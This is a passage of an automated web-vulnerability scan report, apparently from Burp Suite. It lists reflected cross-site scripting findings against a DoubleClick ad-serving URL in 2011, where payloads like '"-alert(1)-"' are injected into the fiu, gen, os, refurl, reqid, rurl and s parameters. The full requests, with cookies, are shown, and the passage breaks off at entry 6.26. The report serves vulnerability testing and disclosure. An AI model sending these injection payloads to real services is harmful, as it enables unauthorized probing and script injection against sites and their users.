User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:21:13 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7540

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
Dv8/3af3/f/1c8/%2a/o%3B240097157%3B3-0%3B0%3B63021589%3B2321-160/600%3B41753994/41771781/1%3B%3B%7Esscs%3D%3fhttp://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn39457"-alert(1)-"015accc670f&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.re
...[SNIP]...

6.20. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [fiu parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the fiu request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 622a9"-alert(1)-"8932fa1c614 was submitted in the fiu parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA622a9"-alert(1)-"8932fa1c614&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:21:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
NETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA622a9"-alert(1)-"8932fa1c614&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.
...[SNIP]...

6.21. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [gen parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the gen request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c4559"-alert(1)-"a80ed9f51c6 was submitted in the gen parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=c4559"-alert(1)-"a80ed9f51c6&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:23:27 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7540

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
ThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=c4559"-alert(1)-"a80ed9f51c6&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-L0-Opto");
var fscUrl = url;
var fscUrlClic
...[SNIP]...

6.22. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [os parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the os request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5564d"-alert(1)-"eaf42eb733c was submitted in the os parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=5564d"-alert(1)-"eaf42eb733c&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:23:08 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7570

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
jBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=5564d"-alert(1)-"eaf42eb733c&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-L0-Discrete");
var fscUrl = url;
...[SNIP]...

6.23. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [refurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the refurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2234"-alert(1)-"26d8569ff18 was submitted in the refurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=c2234"-alert(1)-"26d8569ff18&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7570

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
MXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=c2234"-alert(1)-"26d8569ff18&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.j
...[SNIP]...

6.24. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [reqid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the reqid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f1c5"-alert(1)-"99f47f07abd was submitted in the reqid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY5f1c5"-alert(1)-"99f47f07abd&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:21:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7570

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY5f1c5"-alert(1)-"99f47f07abd&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=N
...[SNIP]...

6.25. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [rurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the rurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 349f7"-alert(1)-"99747f8916f was submitted in the rurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=349f7"-alert(1)-"99747f8916f HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7480
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 24 Apr 2011 16:23:49 GMT
Expires: Sun, 24 Apr 2011 16:23:49 GMT

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
iu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=349f7"-alert(1)-"99747f8916fhttp://www.newark.com/jsp/bespoke/bespoke7.jsp?bespokepage=common/en/technology-first/whats-new/whats-new.jsp&CMP=BAN-NPI_np");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opa
...[SNIP]...

6.26. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the s request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b2a53"-alert(1)-"e40a3ea8abb was submitted in the s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

